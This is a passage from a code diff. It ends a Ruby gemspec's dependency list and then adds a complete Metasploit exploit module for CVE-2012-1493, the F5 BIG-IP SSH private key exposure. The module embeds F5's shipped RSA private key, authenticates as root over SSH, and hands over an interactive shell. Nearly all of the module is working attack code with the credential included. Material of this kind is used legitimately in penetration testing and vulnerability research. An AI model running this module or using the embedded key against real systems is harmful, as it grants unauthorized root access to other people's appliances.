s.add_dependency(%q<timecop>, [">= 0"])
s.add_dependency(%q<fog>, [">= 1.3.1"])
s.add_dependency(%q<mini_magick>, [">= 0"])
s.add_dependency(%q<rmagick>, [">= 0"])
end
end

View File

@ -0,0 +1,152 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info, {
'Name' => 'F5 BIG-IP SSH Private Key Exposure',
'Version' => '$Revision$',
'Description' => %q{
F5 ships a public/private key pair on BIG-IP appliances that allows
passwordless authentication to any other BIG-IP box. Since the key is
easily retrievable, an attacker can use it to gain unauthorized remote
access as root.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'Author' => ['egypt'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
[ 'CVE', '2012-1493' ],
[ 'OSVDB', '82780' ]
],
'DisclosureDate' => "Jun 11 2012",
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0,
}))
register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22),
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(user)
opt_hash = {
:auth_methods => ['publickey'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:key_data => [ key_data ],
:disable_agent => true,
:config => false,
:record_auth_info => true
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, user, opt_hash)
end
rescue Rex::ConnectionError, Rex::AddressInUse
return :connection_error
rescue Net::SSH::Disconnect, ::EOFError
return :connection_disconnect
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return :connection_disconnect
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
return [:fail,nil] # For whatever reason.
end
if ssh_socket
# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
ssh_socket = nil
return conn
else
return false
end
end
def exploit
conn = do_login("root")
if conn
print_good "Successful login"
handler(conn.lsock)
else
print_error "Login failed"
end
end
def key_data
<<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
-----END RSA PRIVATE KEY-----
EOF
end
end